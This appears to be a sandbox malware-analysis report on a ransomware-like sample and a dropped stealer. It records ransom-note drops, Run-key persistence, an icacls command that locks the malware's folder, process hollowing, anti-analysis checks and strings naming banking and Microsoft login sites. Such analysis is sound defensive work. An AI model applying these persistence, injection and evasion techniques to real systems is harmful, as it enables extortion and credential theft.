Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Unpacked PE file: 20.2.kOVwcHSfrR.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	Unpacked PE file: 21.2.build2.exe.400000.0.unpack

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 7_2_00412220 GetCommandLineW,CommandLineToArgvW,PathFindFileNameW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,K32EnumProcesses,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,

7_2_00412220

Source: sqlite3[1].dll.21.dr	Static PE information: section name: /4
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /19
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /31
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /45
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /57
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /70
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /81
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /92

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0266E0AF push ecx; retf	0_2_0266E0B2
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02758F05 push ecx; ret	0_2_02758F18
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00428565 push ecx; ret	7_2_00428578
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_026CB0AF push ecx; retf	10_2_026CB0B2
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02878F05 push ecx; ret	10_2_02878F18
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_025E90AF push ecx; retf	11_2_025E90B2
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026C8F05 push ecx; ret	11_2_026C8F18

Source: initial sample	Static PE information: section name: .text entropy: 7.943273353110293
Source: initial sample	Static PE information: section name: .text entropy: 7.943273353110293

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Jump to behavior

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\sqlite3[1].dll			Jump to dropped file

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 7_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

7_2_00481920

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 0_2_0266C71C rdtsc

0_2_0266C71C

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,

7_2_0040E670

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\sqlite3[1].dll

Jump to dropped file

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_7-41963

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe TID: 3812	Thread sleep time: -700000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe TID: 8072	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe TID: 8072	Thread sleep count: 35 > 30	Jump to behavior

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	7_2_00410160
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	7_2_0040F730
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	7_2_0040FB98

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\

Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive userers - NDCDYNVMware20,11696501413z
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696501413o
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696501413h
Source: kOVwcHSfrR.exe, 0000000C.00000002.1865321659.0000000000858000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696501413
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactiveuserers.co.inVMware20,11696501413~
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696501413j
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive userers - COM.HKVMware20,11696501413
Source: kOVwcHSfrR.exe, 00000007.00000002.1293830756.000000000066B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: kOVwcHSfrR.exe, 00000007.00000002.1293830756.0000000000684000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000007.00000003.1289707792.0000000000684000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000D.00000002.2498194692.0000000000648000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000D.00000002.2498194692.00000000006EB000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000011.00000002.1462273789.00000000008EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696501413
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696501413\|UE
Source: kOVwcHSfrR.exe, 00000007.00000002.1293830756.0000000000628000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696501413x
Source: kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW6c
Source: kOVwcHSfrR.exe, 00000014.00000002.1532005523.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@g
Source: build2.exe, 00000015.00000002.2498797769.0000000000827000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299498967.0000000000827000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW"
Source: build2.exe, 00000015.00000002.2498543835.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarel
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696501413}
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive userers - non-EU EuropeVMware20,11696501413
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696501413x
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696501413t
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive userers - HKVMware20,11696501413]
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696501413s
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive userers - EU East & CentralVMware20,11696501413
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696501413u
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive userers - GDCDYNVMware20,11696501413p
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive userers - EU WestVMware20,11696501413n
Source: build2.exe, 00000015.00000002.2498543835.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696501413
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactiveuserers.comVMware20,11696501413}
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactiveuserers.co.inVMware20,11696501413d
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696501413x
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696501413
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696501413t
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413^
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactiveuserers.comVMware20,11696501413
Source: kOVwcHSfrR.exe, 00000011.00000002.1462092093.0000000000887000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: kOVwcHSfrR.exe, 00000007.00000002.1293830756.000000000066B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}p
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696501413f
Source: build2.exe, 00000015.00000003.1816316905.0000000000892000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696501413

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

API call chain: ExitProcess graph end node

graph_7-41965

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 0_2_0266C71C rdtsc

0_2_0266C71C

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 7_2_00424168 _memset,IsDebuggerPresent,

7_2_00424168

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 7_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

7_2_0042A57A

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

7_2_00412220

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_0266B0A3 push dword ptr fs:[00000030h]	0_2_0266B0A3
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 0_2_02730042 push dword ptr fs:[00000030h]	0_2_02730042
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_026C80A3 push dword ptr fs:[00000030h]	10_2_026C80A3
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 10_2_02850042 push dword ptr fs:[00000030h]	10_2_02850042
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_025E60A3 push dword ptr fs:[00000030h]	11_2_025E60A3
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Code function: 11_2_026A0042 push dword ptr fs:[00000030h]	11_2_026A0042

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 7_2_004278D5 GetProcessHeap,

7_2_004278D5

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,		7_2_004329EC
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_004329BB SetUnhandledExceptionFilter,		7_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 0_2_02730110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_02730110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Memory written: C:\Users\user\Desktop\kOVwcHSfrR.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Memory written: C:\Users\user\Desktop\kOVwcHSfrR.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Memory written: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Memory written: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	Memory written: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Memory written: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe base: 400000 value starts with: 4D5A

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe

Section unmapped: C:\Users\user\Desktop\kOVwcHSfrR.exe base address: 400000

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 7_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

7_2_00419F90

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process created: C:\Users\user\Desktop\kOVwcHSfrR.exe C:\Users\user\Desktop\kOVwcHSfrR.exe	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process created: C:\Users\user\Desktop\kOVwcHSfrR.exe "C:\Users\user\Desktop\kOVwcHSfrR.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process created: C:\Users\user\Desktop\kOVwcHSfrR.exe "C:\Users\user\Desktop\kOVwcHSfrR.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Process created: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe --Task	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process created: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe "C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Process created: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	Process created: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe "C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe"
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Process created: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 0_2_027580F6 cpuid

0_2_027580F6

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_02770AB6
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	0_2_0275C8B7
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	0_2_0276394D
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	0_2_027649EA
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_02763F87
